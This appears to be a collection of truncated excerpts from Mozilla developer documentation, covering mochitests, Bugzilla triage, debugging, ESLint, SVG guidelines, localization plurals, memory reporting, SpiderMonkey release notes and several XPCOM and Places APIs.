of its subdirectories will be run. For example, to run the tests in browser/base/content/test the command would be: ./mach mochitest -f browser browser/base/content/test/ or without mach TEST_PATH=<path_to_the_tests> make -C <objdir> mochitest-browser-chrome To run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ Run ./mach help mochitest-browser for more options. Writing browser chrome tests Browser chrome tests are snippets of JavaScript code that run in the browser window's global scope. A simple test would look like this: function test() { ok(gBrowser, "gBrowser exists"); is(gBrowser.tabs.length, 1, "browser has 1 tab"); } The test() function is invoked by the test harness when the test is run. The test ...
... the browser window, conflicting variable names could cause trouble while running the tests. You should attempt to reduce the side effects of the testing code and "clean up" after yourself, to avoid influencing other tests. The comparison functions are identical to those supported by Mochitests, see how the comparison functions work in the Mochitest documentation for more details. ...
...This file will be injected into the test scope for each test living in the same folder. Notice that any function call in head.js main scope will run before the main test() method. Asynchronous tests When writing async tests, you can use the add_task method with Promises. ...
What to do and what not to do in Bugzilla
If you need faster access to get canconfirm or editbugs, especially in order to triage bugs or to participate in a bug day, then you can ask in #bmo on irc, or you may create a bug requesting permissions. Include a link to your Bugzilla activity page in the bug description. Before you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it. The same is true for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly. Canconfirm privilege The canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (NEW). It also governs which bug entry form you are presented with first (eith...
...responded to questions for one month and the bug can't be reproduced with a current build. the bug reporter reports that they can no longer see the bug and no other people report that they are still seeing the bug. Resolving bugs as INCOMPLETE The problem is vaguely described with no steps to reproduce, or is a support request. The reporter should be directed to the product's support page for help diagnosing the issue. If there are only a few comments in the bug, it may be reopened only if the original reporter provides more info, or confirms someone else's steps to reproduce. If the bug is long, when enough info is provided a new bug should be filed and the original bug marked as a duplicate of it. Resolving bugs as INVALID You should resolve a bug as INVALID if the issue described in t...
...the bug. There are no clear rules for verifying WORKSFORME. In general you should make sure that the bug has been resolved for a few months and no complaints about the resolution have come up. Note: Because of how duplicate detection works in Bugzilla, you should try not to verify bugs immediately after they're marked fixed; instead, let a little time pass first. This isn't mandatory, but can help prevent accidental filing of duplicates of a bug that's already been fixed. Changing the bug information fields Summary You should change the summary if the current one is unclear or does not correctly describe the issue covered by the bug. You should not change the summary in order to morph the bug to describe a different issue. In this case the bug should be resolved and another bug should ...
Debugging
Debugging a project as large as Mozilla can be a daunting task. Fortunately, over the years, Mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too. Also available are assorted tools that you can use when debugging. Documentation topics Debugging on top of the Mozilla platform Debugging JavaScript code How to debug JavaScript code, with a focus on debugging code in the Mozilla project itself. Debugging a XULRunner application Tips and suggestions that will help you debug your XULRunner based application. Debugging update problems Learn how to debug update problems in Mozilla-based applications. Debugging the Mozilla platform ...
...mp Windows crash reports include a minidump, which contains a lot of information about the application when it crashed. Debugging Mozilla with valgrind Valgrind is a memory debugger for Mac and Linux. It is slow, but good for tracking down difficult memory safety bugs. Replay debugging Firefox with VMWare Workstation How to setup record and replay debugging on Firefox, to help debug intermittent mochitest failures. Detecting defects in Firefox with Coverity Coverity is a static analysis system that can detect defects in Firefox. Gecko Logging Using old-school logging to try to track down what's going on. Debugging specific parts of the Mozilla codebase Debugging OpenGL If you're working on code that involves OpenGL calls, ...
...oblem ...using the Gecko Profiler extension. Debugging a hang on OS X Collecting "samples" to attach to a bug. Remote debugging Core dumps and examples of remote debugging. Useful if a developer can't reproduce your crash. HTTP logging How to log HTTP network traffic for debugging purposes. Debugging tools Tools Assorted tools that will help you debug your code or web site. nserror lookup Useful for when your code gets a complicated numeric error code and you can't figure out what it means. Download a debug build Recent automatically compiled debug builds are available. Note that these are replaced frequently by our tinderboxes. The debug builds have "-debug" at the end of their file names. Related topic...
ESLint
In order to help people write standard-compliant code from the start and avoid wasting time during code reviews, a set of ESLint configuration files have been added to the code base so that JavaScript can be analyzed automatically. This automatic linting can happen either while coding, in a code editor, or when using the command line. It also runs on treeherder for every check-in. Running ESLint ESLint comprises of a set of rules that are used to analyse the code for correctness and style consistency. Meeting these rules before review will help reduce the amount of review time, and the revisions necessary to have a review granted. Setting up ESLint ./mach eslint --setup Running ESLint Eslint can be run via: ./mach lint -l eslint You can limit running it to a specific directory...
...f review time, and the revisions necessary to have a review granted. Setting up ESLint ./mach eslint --setup Running ESLint Eslint can be run via: ./mach lint -l eslint You can limit running it to a specific directory with: ./mach lint -l eslint browser/components Or work directory changes: ./mach lint -l eslint -w Or outgoing commits only: ./mach lint -l eslint -o See ./mach eslint --help for more options when running eslint. VCS Hooks Hooks are available for Mercurial & Git, see using a vcs hook for more details. Editor Integration It is highly recommended that you integrate eslint into your editor. This lets you see errors in real time, and can help you fix issues before you compile or run tests, reducing the time to develop patches. See the ESLint user guide for which plug...
... ...
SVG Guidelines
s". Authoring guidelines A lot of SVG files (particularly those generated by SVG editors) ship without being cleaned up and can contain a ton of junk that bloats the file size and slows down rendering. In general the best way to combat this is to first run SVG files through a linter such as svgo (see the Tools section below). However, when authoring SVGs by hand here are some best practices to help keep them lightweight. These rules are based on some real examples seen in Mozilla's code. Basics Two spaces indenting No useless whitespaces or line breaks (see below for more details) Adding a license header Use double quotes Whitespace and line breaks Whitespace In addition to trailing whitespace at the end of lines, there are a few more cases more specific to SVGs: Trailing whi...
...You should avoid line breaks between every single element or within attribute values. It's recommended to put the attributes on the same line as their tag names, if possible. You should also put the shortest attributes first, so they are easier to spot. Unused tags and attributes Editor metadata Vector editors (Inkscape, Adobe Illustrator, Sketch) usually add a bunch o...
... less readable. Nested transforms Some editors use <g> tags to do nested transforms, which is usually not needed. You can avoid this by doing basic algebra, for example: <g transform="translate(-62, -310)"><shape transform="translate(60, 308)"/></g> can be cut down to: <shape transform="translate(-2,-2)"/> because: -62+60 = -310+308 = -2 Performance tips These rules are optional, but they help speeding up the SVG. Avoid using a <use> tag when that <use> tag is being referenced only once in the whole file. Instead of using CSS/SVG transforms, apply directly the transform on the path/shape definition. Tools Tools can help to clean SVG files. Note, however that some of the rules stated above can be hard to detect with automated tools since they require too much context-awareness. ...
Performance
some boilerplate code for the sake of brevity The "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics. Performance best practices Declaring stateless functions once per process BAD: // addon.js Services.mm.loadFrameScript("framescript.js", true) // framescript.js const precomputedConstants = // ... function helper(window, action) { // ... do some work on the window } function doSomething(message) { result = helper(content, message.data) sendAsyncMessage("my-addon:response-from-child", {something: result}) } addMessageListener("my-addon:request-from-parent", doSomething) Why is this bad? Because declared functions are also objects. And since frame scripts get evaluated for each tab this means...
...p etc. While it may seem fairly innocencous in this toy example, real scripts often have a lot more functions and initialize some fairly heavyweight objects. BETTER: addon.js as above // framescript.js Components.utils.import("resource://my-addon/processModule.jsm", {}).addFrame(this) // processModule.jsm const EXPORTED_SYMBOLS = ['addFrame']; const precomputedConstants = // ... ...
...heavyweight objects. BETTER: addon.js as above // framescript.js Components.utils.import("resource://my-addon/processModule.jsm", {}).addFrame(this) // processModule.jsm const EXPORTED_SYMBOLS = ['addFrame']; const precomputedConstants = // ... function helper(window, action) { // ... do some work on the window } function doSomething(message) { frameGlobal = message.target result = helper(frameGlobal.content, message.data) frameGlobal.sendAsyncMessage("my-addon:response-from-child", {something: result}) } function addFrame(frameGlobal) { frameGlobal.addMessageListener("my-addon:request-from-parent", doSomething) } Javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks. But ca...
Localization and Plurals
You're likely here because you're localizing a .properties file and it had a link to this page. This page is to help explain how to localize these strings so that the correct plural form is shown to the user. For example, "1 page" vs "2 pages". If you're here to make your code (e.g., extensions) localizable for plural forms, you can jump straight to Developing with PluralForm. You may also need to localize the initial strings for your code, so it would be good to read through at least the Usage section as well. Usage Here are a couple terms used in this page to help keep things clear: plural rule: For a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word. Different languages can have different rules. plural form: For a ...
...check the pluralRule number in chrome/global/intl.properties, and look up the corresponding entry in the following list of plural rules. List of Plural Rules This section contains a list of plural rules ordered by their plural rule number. Each entry indicates how many plural forms are needed when localizing a word. For each entry, there is a list of families and languages in those families, to help you figure out if it's the rule you should pick for pluralRule. Additionally, there is a brief description of each plural form, followed by some sample numbers that fall into that particular form. For a given plural rule, the order in which the plural forms are listed is the same order you need to localize a word, separated by semi-colons. For example, English uses plural rule 1, and localizing ...
...ed, because there needs to be 3 plural forms for each word. Sorbian There are 4 plural forms: nominative singular, nominative dual, nominative plural, genitive plural. These match up with plural rule #10. pluralRule=10 seconds=sekunda;sekundze;sekundy;sekundow minutes=mjensina;mjensinje;mjensiny;mjensin hours=hodzina;hodzinje;hodziny;hodzin days=dzen;dnjej;dny;dnjow Testing Extension To help make sure you pick the right plural rule and provide enough plural forms for strings, you should use the pluralForm Checker extension. After installing the extension, it should be available from the Tools menu. To use it, list off the property files and properties that you want to check and click the button. The extension will load each property and display the plural forms in a table. Selecting...
Localization content best practices
erred to as localization notes. Don't forget to add a localization note when: Part of the string is not supposed to be localized (for example, the name of an HTML attribute in a warning). String includes variables: always explain what will be the value of these variables at run-time. English could be ambiguous. For example: bookmark. Is this a noun or a verb? Using meaningful IDs could also help in these cases. Strings are used in a specific context. For example accessibility (a11y) strings: in this case space is less important than clarity, since these strings are not displayed in the UI but used by tools like screen readers. There is an established format for localization comments: it's important to follow the format as closely as possible, since there are a number of automated tool...
...l info for localizers. Menu and control labels The labels on controls and menu titles, menu option strings, and so forth should not end in periods (in English). These are generally not complete sentences, but instead, phrases that convey the idea of a concept or action. Therefore, for both correctness and consistency within en-US, please leave out the trailing periods for these items. This also helps with localization. Developer tools key shortcuts When translating Firefox strings from /devtools/ folder, you may see some keys like this: inspector.searchHTML.key=CmdOrCtrl+F The first part of the string `CmdOrCtrl` should not be translated. You may only translate the letter to better match your locale. This key shortcut definition matches the Electron key shortcut definition. Create local...
..., but also for localizability issues in case they involve string or UI changes. Gecko and mozilla-central First, make sure that there are no hard-coded strings, and all strings are available in localization files (.dtd, .properties). One possible way to test a patch for localizability issues is to alter the en-US localization files, adding extraneous characters to the original strings: this can help to identify both hard-coded strings and "flexibility issues" in the UI. Changing existing strings Updating Entity Names If you are changing a string such that its meaning has changed, you must update the entity or property name for the string to match the new meaning. If your changes are relevant only for English -- for example, to correct a typographical error or to make letter case consisten...
Mozilla projects on GitHub
ects. Look to GitHub for the most complete list of Mozilla projects on GitHub. Project name Description PDF.js A Portable Document Format (PDF) reader written entirely in JavaScript. Shumway Shumway is a Flash VM and runtime written in JavaScript. addon-sdk The Mozilla Add-on SDK. asknot The What Can I Do For Mozilla web site, which helps you figure out how you can contribute to Mozilla. bugsahoy A Web page to help new Mozilla contributors identify bugs to fix. bugzilla-dashboard A convenient dashboard to help you get an overview of your bugs. codefirefox The CodeFirefox site, with videos and tutorials about how to contribute to the Firefox project and Mozilla code in general. debugger...
...odern universal JS debugger for Firefox DevTools, Node, and every other JS environment. dxr An intelligent tool for browsing source code. emscripten The Emscripten LLVM-to-JavaScript compiler. fxdt-adapters The Firefox Developer Tools Adapter that lets you debug various remote targets from the Firefox Developer Tools. firefox-dev.tools A Web page to help new Mozilla contributors find bugs to work on that relate to the Firefox Developer Tools. gecko-dev A read-only mirror of the Mercurial repositories used for Mozilla private code. kitsune Kitsune is the platform that drives the Mozilla support web site, SUMO. kuma The Django project that powers this site (MDN). mdn Code samples for the MDN Web site.
...The Firefox OS project. mozilla-appmaker The Appmaker project -- a Web tool to let non-programmers create apps. mozilla-l10n Scripts and tools used by the localization drivers. mozilla-metrics Tools used to collect metrics about Mozilla code. mozilla-services Mozilla cloud services projects. opennews The Knight-Mozilla Open News project, helping the journalism/technology community do great work through shared knowledge and code. PluotSorbet A J2ME-compatible virtual machine written in JavaScript. rust-lang The Rust programming language, designed for safe concurrent code. servo The next-generation rendering engine. ...
Memory reporting
that is incremented on each relevant allocation and decremented on each relevant deallocation. Traversal-based reporters are preferable, for the following reasons. They are less error-prone. We've had multiple bugs in the past with counter-based reporters. The cost of reporting isn't incurred unless the memory reporter is queried. They provide more information to DMD, which is a tool that helps keep about:memory's "heap-unclassified" number low. See below for more details. Sometimes counter-based reporters are unavoidable, particularly when writing memory reporters for third-party code that cannot be modified. A Simple Example Imagine a simple string class with the following data fields: class MyString { private: char *mBuffer; // heap-allocated size_t mLen; // ...
...ly true if D features multiple inheritance. And if aMallocSizeOf is passed a pointer that doesn't point to the start of an object it will give bogus results or even crash. So, if in doubt, define D::SizeOfIncludingThis and you should be safe. The override annotations say that D's methods override the corresponding methods in B. On supporting compilers it gets expanded to the override keyword. It helps prevent accidentally having small differences in the function signatures (e.g. forgetting a const) that prevent the overriding from happening. Other Considerations A number of the existing basic data structures already have SizeOf{In,Ex}cludingThis functions, e.g. nsTArray and nsTHashtable. nsTHashtable's functions take an extra argument which is a pointer to a function that measures the memo...
... If you write a memory reporter, please get two people to review it: (a) someone who knows the data structures being measured, and (b) nnethercote, who can check for all the things covered by this document. Thanks! DMD DMD is a tool that detects two deficiencies with memory reporters. It identifies places in the code that allocate memory but do not have memory reporters for that memory. This helps drive about:memory's heap-unclassified number down. It detects certain defects in existing heap memory reporters: if non-heap memory is reported, or if a heap block is partially reported or double-reported. DMD is absolutely crucial; these things cannot be done without it. That's why the integration of DMD and memory reporters is so important and thus mentioned multiple times above. See th...
Profiling with Instruments
In the top left, next to the record and pause button, there will be a "[machine name] > All Processes". Click "All Processes" and select "firefox" from the "Running Applications" section. ...
... In the top left, next to the record and pause button, there will be a "[machine name] > All Processes". Click "All Processes" and select "firefox" from the "Running Applications" section. ...
...d button (red circle in top left) Wait for the amount of time that you want to profile Click the stop button Command line tools There is instruments and iprofiler. How do we monitor performance counters (cache miss etc.)? Instruments has a "Counters" instrument that can do this. Memory profiling Instruments will record a call stack at each allocation point. The call tree view can be quite helpful here. Switch from "Statistics". This malloc profiling is done using the malloc_logger infrastructure (similar to MallocStackLogging). Currently this means you need to build with jemalloc disabled (ac_add_options --disable-jemalloc). You also need the fix to Bug 719427 The DTPerformanceSession api can be used to control profiling from applications like the old CHUD API we use in Shark builds. ...
A guide to searching crash reports
Specifically, crash-stats offers two basic functions: Searching You can search the crash reports database by over 100 criteria: crash signature, date, platform, product, version, etc. ...
... Specifically, crash-stats offers two basic functions: Searching You can search the crash reports database by over 100 criteria: crash signature, date, platform, product, version, etc. ...
... get results like those in the following screenshot. The number of crash reports matching this search is in the thousands, i.e. much smaller than the previous search. Proto signature The "proto signature" field is just the raw unprocessed crash stack concatenated together. You can do things like: Search for crashes where the signature is Foo, and the proto signature contains Bar. This is helpful if you have a fairly generic signature and you want to see how many of them are a particular case of it that you've come across. Or instead of a signature Foo, a moz crash reason or something else. Use it as a facet. This lets you skim the full signatures of crashes at a glance, bucketed together a bit. Note that because the proto signature includes the entire signature, things aren't grouped...
Localization Use Cases
brandShortName::_gender] { masculine: "{{ brandShortName }} ulegl awarii", feminine: "{{ brandShortName }} ulegla awarii", neutral: "{{ brandShortName }} uleglo awarii" }> This will give us, depending on the current branding, the following messages: Firefox OS ulegl awarii Boot2Gecko uleglo awarii Isolation Let's look at how the Settings app formats sizes. ...
...Consequently, us...
...ize }} {{ $unit }} disponibili" }> So far, so good. The JavaScript code hasn't changed yet, but there's another improvement that can be introduced, which is described below. Asymmetry The example above could benefit from another of L20n's features: local variables. In L20n, localization files can be asymmetrical and have more entities that the source language. You'll notice that DeviceStorageHelper.showFormatedSize passes a localized name of the unit to availableSize: function showFormatedSize(element, l10nId, size) { // ... var _ = navigator.mozL10n.get; element.textContent = _(l10nId, { size: sizeInfo.size, unit: _('byteUnit-' + sizeInfo.unit) }); } Problem definition Even though there's no need to localize the units in English at all, we still need to do it, because...
sslfnc.html
Upgraded documentation may be found in the Current NSS Reference SSL Functions Chapter 4 SSL Functions This chapter describes the core SSL functions. ...
... Upgraded documentation may be found in the Current NSS Reference SSL Functions Chapter 4 SSL Functions This chapter describes the core SSL functions. ...
...ations until after it enables appropriate cipher suites by calling one of the SSL Export Policy Functions: NSS_SetDomesticPolicy, NSS_SetExportPolicy, and NSS_SetFrancePolicy configure the cipher suites for domestic, international, and French versions of software products with encryption features. SSL_CipherPolicySet sets policy flags for individual cipher suites, one at a time. This may be helpful if you have an export license that permits more or fewer capabilities than those allowed by the other export policy functions. NSS_InitReadWrite Sets up configuration files and performs other tasks required to run Network Security Services. Unlike NSS_Init, NSS_InitReadWrite provides both read and write access to database files. Syntax #include "nss.h" SECStatus NSS_InitReadWrite...
SpiderMonkey 1.8.5
Please note that SpiderMonkey reserves the JS:: namespace for itself. JSAutoRequest JSAutoSuspendRequest JSAutoCheckRequest JSAutoEnterCompartment JS::Anchor<> JS::Call Obsolete APIs JS_ClearNewbornRoots JS_EnterLocalRootScop...
...nitCTypesClass JS_InternJSString JS_IsConstructing_PossiblyWithGivenThisObject JS_IsExtensible JS_IsInRequest JS_LeaveCrossCompartmentCall JS_LookupPropertyById JS_LookupPropertyWithFlagsById JS_New JS_NewCompartmentAndGlobalObject JS_NewDateObject JS_NewDateObjectMsec JS_NewFunctionById body New C++ helpers While JSAPI remains a C API, the engine is now implemented in C++. Some C++ helpers have been introduced into the API, to help embedders writing C++ projects. Please note that SpiderMonkey reserves the JS:: namespace for itself. JSAutoRequest JSAutoSuspendRequest JSAutoCheckRequest JSAutoEnterCompartment JS::Anchor<> JS::Call Obsolete APIs JS_ClearNewbornRoots JS_EnterLocalRootScope JS_LeaveLocalRootScope JS_LeaveLocalRootScopeWithResult JS_ForgetLocalRoot JS_...
...he engine. Garbage collection JS_MarkGCThing was changed in bug 549143 to mark jsvals rather than void pointers (GC root addresses), improving the typed rooting API which was introduced in bug 565157. A conservative stack-scanning collector was also added for SpiderMonkey 1.8.5, making the *LocalRootScope APIs obsolete; they are now NOPs. bug 614138 introduces a C++ JS::Anchor<> template class to help tie lexical scope to the conservative GC for cases where the compiler might optimize away important stack/register roots (such as when we access the jschars in a JSString). A C analogue, JS_AnchorPtr, was introduced with bug 630209. bug 630209 also removed the need for JS_NewScriptObject, by modifying the script compilation interfaces to handle the creation and management of the object wrapper d...
SpiderMonkey 1.8.7
Please note that SpiderMonkey reserves the JS:: namespace for itself. JSAutoRequest JSAutoSuspendRequest JSAutoCheckRequest JSAutoEnterCompartment JS::Anchor<> JS::Call Obsolete APIs JS_ClearNewbornRoots JS_EnterLocalRootScop...
...nitCTypesClass JS_InternJSString JS_IsConstructing_PossiblyWithGivenThisObject JS_IsExtensible JS_IsInRequest JS_LeaveCrossCompartmentCall JS_LookupPropertyById JS_LookupPropertyWithFlagsById JS_New JS_NewCompartmentAndGlobalObject JS_NewDateObject JS_NewDateObjectMsec JS_NewFunctionById body New C++ helpers While JSAPI remains a C API, the engine is now implemented in C++. Some C++ helpers have been introduced into the API, to help embedders writing C++ projects. Please note that SpiderMonkey reserves the JS:: namespace for itself. JSAutoRequest JSAutoSuspendRequest JSAutoCheckRequest JSAutoEnterCompartment JS::Anchor<> JS::Call Obsolete APIs JS_ClearNewbornRoots JS_EnterLocalRootScope JS_LeaveLocalRootScope JS_LeaveLocalRootScopeWithResult JS_ForgetLocalRoot JS_...
...e engine. Garbage collection JS_MarkGCThing was changed in bug 549143 to mark jsvals rather than void pointers (GC root addresses), improving the typed rooting API which was introduced in bug 565157. A conservative stack-scanning collector was also added for SpiderMonkey 1.8.5, making the *LocalRootScope APIs obsolete; they are now NOPs. Bug 614138 introduces a C++ JS::Anchor<> template class to help tie lexical scope to the conservative GC for cases where the compiler might optimize away important stack/register roots (such as when we access the jschars in a JSString). A C analogue, JS_AnchorPtr, was introduced with bug 630209. Bug 630209 also removed the need for JS_NewScriptObject, by modifying the script compilation interfaces to handle the creation and management of the object wrapper ...
SpiderMonkey 1.8
, which causes extremely long-running regular expression searches to fail with an error, and JSOPTION_ANONFUNFIX, which bans anonymous functions from appearing anyplace where a statement could appear, such as in the argument to eval(). Functions that were JS_THREADSAFE-only in SpiderMonkey 1.7 (JS_BeginRequest, for example) are now present, but do nothing, in non-JS_THREADSAFE builds. This is to help applications share and reuse code regardless of whether they use threads. There are two new JSExtendedClass hooks, JSExtendedClass.iteratorObject and JSExtendedClass.wrappedObject. Both are documented but obscure. Many new memory management features have been added as well. The new function JS_SetScriptStackQuota limits the size of the JavaScript stack. Two new functions, JS_SetGCZeal and ...
...and reuse code regardless of whether they use threads. There are two new JSExtendedClass hooks, JSExtendedClass.iteratorObject and JSExtendedClass.wrappedObject. Both are documented but obscure. Many new memory management features have been added as well. The new function JS_SetScriptStackQuota limits the size of the JavaScript stack. Two new functions, JS_SetGCZeal and JS_DumpHeap, aim to help developers debug GC-related problems. These functions are only present in DEBUG builds. JS_SetGCZeal is especially helpful. When GC zeal is enabled, GC happens extremely frequently. This makes GC-related problems easier to reproduce, reveals GC problems that you may not have noticed before, and causes GC-safety bugs to surface much closer to their cause. JS_DumpHeap dumps parts of the GC heap and...
... A new GC parameter, JSGC_STACKPOOL_LIFESPAN, controls how eagerly SpiderMonkey returns unused memory back to the system. The new function JS_SetExtraGCRoots provides another way to protect values from garbage collection. ...
TPS Tests
nc.js. This test generally validates your tps setup and does a light test of a few engines. Comment out the goQuitApplication() calls in services/sync/tps/extensions/tps/modules/tps.jsm (remember to undo this later!). You will have to manually quit the browser at each phase, but you will be able to inspect the browser state manually. Using this technique in conjunction with aboutsync is helpful. (Note that the python testrunner will generally still kill firefox after a TPS test runs for 5 or so minutes, so it's often helpful to kill the python testrunner outright, and then use aboutsync in a different instance of the browser). A TPS failure may not point directly to the problem. For example, Most errors involving bookmarks look like "Places Item not found in expected inde...
... It's common for the phase after the problem to be the one reporting errors (e.g. if one phase doesn't upload what it should, we won't notice until the next phase). ...
...e end of the test to find the actual failure. ...
Places utilities for JavaScript
n here. For instance, normally in order to get access to the bookmarks service, you have to run something like: Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getService(Components.interfaces.nsINavBookmarksService); With places utils all you need to write is: PlacesUtils.bookmarks This should save on the number of references to the service that are needed, and can help clean up interfaces that are already fairly cluttered. There are currently 11 services defined in here. bookmarks nsINavBookmarksService history nsINavHistoryService globalHistory nsIBrowserHistory livemarks nsILivemarkService annotations nsIAnnotationService favicons nsIFaviconService microsummaries nsIMicrosummaryService tagging nsITaggingService RDF nsIRDFService ptm nsIP...
...'t call this, we'll treat those visits as TRANSITION_LINK. markPageAsFollowedBookmark(string aURL) checkURLSecurity() Allows opening of javascript/data URI only if the given node is bookmarked (see bug 224521). checkURLSecurity(aURINode) Parameters aURINode a URI node Return type Return true if it's safe to open the node in the browser, false otherwise. getQueryStringForFolder() Helper for getting a serialized Places query for a particular folder. getQueryStringForFolder(int aFolderId) Parameters aFolderId The folder id to get a query for. Return type Return string serialized place URI getDescriptionFromDocument() Get the description associated with a document, as specified in a <META> element. getDescriptionFromDocument(doc) Parameters doc A DOM Document...
.... -1 is returned if no item is found. getMostRecentBookmarkForURI(aURI) getMostRecentFolderForFeedURI() getMostRecentFolderForFeedURI(aURI) getURLsForContainerNode() getURLsForContainerNode(aNode) openContainerNodeInTabs() openContainerInTabs(aNode, aEvent) openURINodesInTabs() openURINodesInTabs(aNodes, aEvent) createMenuItemForNode() Helper for the toolbar and menu views. createMenuItemForNode(aNode, aContainersMap) ...
nsIClassInfo
xpcom/components/nsIClassInfo.idlScriptable Provides information about a specific implementation class. Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Method overview nsISupports getHelperForLanguage(in PRUint32 language); void getInterfaces(out PRUint32 count, [array, size_is(count), retval] out nsIIDPtr array); Attributes Attribute Type Description classDescription string A human readable string naming the class, or null. Read only. classID nsCIDPtr A classID through which an instance of this class can be created, or null. If the flags attribute has the SINGLETON bit set, then the value of this attribute specifies a ClassID through which this class can b...
...er bit is RESERVED for consumers of these flags. No implementor of this interface should ever return flags with this bit set. EAGER_CLASSINFO 1 << 5 This flag is designed for use with nsGenericFactory and can be set in nsModuleComponentInfo::mFlags. It has no meaning when returned from the flags attribute of a nsIClassInfo implementation. Obsolete since Gecko 2.0 Methods getHelperForLanguage() Get a language mapping specific helper object that may assist in using objects of this class in a specific lanaguage. For example, if asked for the helper for nsIProgrammingLanguage::JAVASCRIPT this might return an object that can be nsISupports.QueryInterface()'d into the nsIXPCScriptable interface to assist XPConnect in supplying JavaScript specific behavior to callers of the i...
...mapping specific helper object that may assist in using objects of this class in a specific lanaguage. For example, if asked for the helper for nsIProgrammingLanguage::JAVASCRIPT this might return an object that can be nsISupports.QueryInterface()'d into the nsIXPCScriptable interface to assist XPConnect in supplying JavaScript specific behavior to callers of the instance object. nsISupports getHelperForLanguage( in PRUint32 language ); Parameters language This parameter selects the language mapping specific helper object to be returned. nsIProgrammingLanguage defines language identifiers that may be passed for this parameter. Return value Should return null if no helper available for given language. getInterfaces() This method returns an ordered list of interfaces IIDs that ins...
nsIPropertyBag
ecifics. The window scope is not always accessible so the window.navigator cannot be accessed. ...
...gator are: appCodeName:"Mozilla" appName:"Netscape" appVersion:"5.0 (Windows)" battery:BatteryManager buildID:"20140529161749" cookieEnabled:true doNotTrack:"yes" geolocation:Geolocation language:"en-US" mimeTypes:MimeTypeArray mozAlarms:null mozApps:XPCWrappedNative_NoHelper mozCameras:CameraManager mozConnection:MozConnection mozContacts:ContactManager mozId:null mozKeyboard:XPCWrappedNative_NoHelper mozPay:null mozPermissionSettings:null mozPhoneNumberService:PhoneNumberService mozPower:MozPowerManager mozTCPSocket:null onLine:true oscpu:"Windows NT 5.1" platform:"Win32" plugins:PluginArray product:"Gecko" productSub:"20100101" userAgent:"Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0" vendor:"" vendorSub:"" __proto__:NavigatorPrototype From here we can easily see the O...
...zPower:MozPowerManager mozTCPSocket:null onLine:true oscpu:"Windows NT 5.1" platform:"Win32" plugins:PluginArray product:"Gecko" productSub:"20100101" userAgent:"Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0" vendor:"" vendorSub:"" __proto__:NavigatorPrototype From here we can easily see the Operating System version. Services.appinfo.OS simply tells us WINNT only, this is not helpful to differentiate between Windows XP, Vista, 7, etc. To do this use nsIPropertyBag: Services.sysinfo.getProperty("version"); //output 5.1 Services.sysinfo.getProperty("name"); //output Windows_NT Services.sysinfo.getProperty("arch"); //output x86 Services.sysinfo.getProperty("hasWindowsTouchInterface"); //outputs false or true if windows touch is there Consult the UXP Repo (//github.com/Reali...
nsCOMPtr versus RefPtr
orts, so they can always use be used with nsCOMPtr without fear of breaking in the future. Concrete classes should only be used with RefPtr. nsCOMPtr<T> also requires that you can QueryInterface to type T. It does this so that it can assert that mRawPtr is a canonical T pointer (i.e., that mRawPtr->QueryInterface(T_IID) == mRawPtr). ...
... do_QueryObject is templated on the argument type, so it's possible to pass in objects that multiply inherit from nsISupports. ...
...ype of the argument is nsISupports*). For other cases, there is do_QueryObject, which is essentially a more powerful form of do_QueryInterface. It differs from do_QueryInterface as follows: do_QueryObject inherits from nsCOMPtr_helper, so it can be assigned into both nsCOMPtr and RefPtr. The downside of this inheritance is that do_QueryObject requires an extra virtual call to operator() in the helper method. do_QueryObject is templated on the argument type, so it's possible to pass in objects that multiply inherit from nsISupports. However, when the destination type is an XPCOM interface, it's probably better to static_cast to a class that unambiguously inherits from nsISupports and use do_QueryInterface in such cases. ...
MailNews fakeserver
ne can wait for the timeout, which occurs after 3 minutes, so not closing connections would make the tests take unbearably long. ...
...sing connections would make the tests take unbearably long. ...
...js defines a few different classes of NNTP servers: compliance for RFC 977, RFC 2980, and RFC 3977, as well as a Giganews and an INN server. (Full 2980 and 3977 compliance as well as INN is not yet written). For xpcshell tests in mailnews/news, all files in mailnews/news/test/postings/auto-add are automatically added based on the Newsgroups header. There are added in alphabetical order, which may help for purposes that rely on article key orders. The only generated header is Lines. The following comprises the API of the news fakeserver itself: nntpDaemon API Name Arguments Returns Notes [constructor] daemon flags N/A Flags are defined below addGroup group name (string), is postable nothing Adds the group (resetting if it exists) addArticle newsArticle object nothing Adds the messag...
Activity Manager examples
nt 1.) //optional: define some convenience constants const nsActProcess = Components.Constructor("@mozilla.org/activity-process;1", "nsIActivityProcess", "init"); const nsActEvent = Components.Constructor("@mozilla.org/activity-event;1", "nsIActivityEvent", "init"); // Step 1: Implement nsIActivityContextDisplayHelper to show a // customized display text for our context type function SenderContextDisplayHelper() { // user stuff here.. } SenderContextDisplayHelper.prototype = { getContextDisplayText: function(contextType, contextObj) { // in this particular example we know that contextType is "Sender" // since we also pass the contextType along with the contextObject // in some cases, o...
...to show a // customized display text for our context type function SenderContextDisplayHelper() { // user stuff here.. ...
...e know that contextType is "Sender" // since we also pass the contextType along with the contextObject // in some cases, one helper can be registered for a group of context types // we know that the context object is the author of the message // Localization is omitted return "Messages coming from " + contextObj.surname + ", " + contextObj.firstname; } } // Step 2: Register the helper for this context type gActivityManager.registerContextDisplayHelper("Sender", new SenderContextDisplayHelper()); // Step 3: Create the process ... let process = new nsActProcess("Processing folder: " + folder.prettiestName, gJunkProcessor); process.cancelHandler = new CancelJunkProcess(); // folder is being filtered...
Paint Flashing Tool - Firefox Developer Tools
Because repaints can be performance-intensive operations, eliminating unnecessary repaints can improve your website's responsiveness. ...
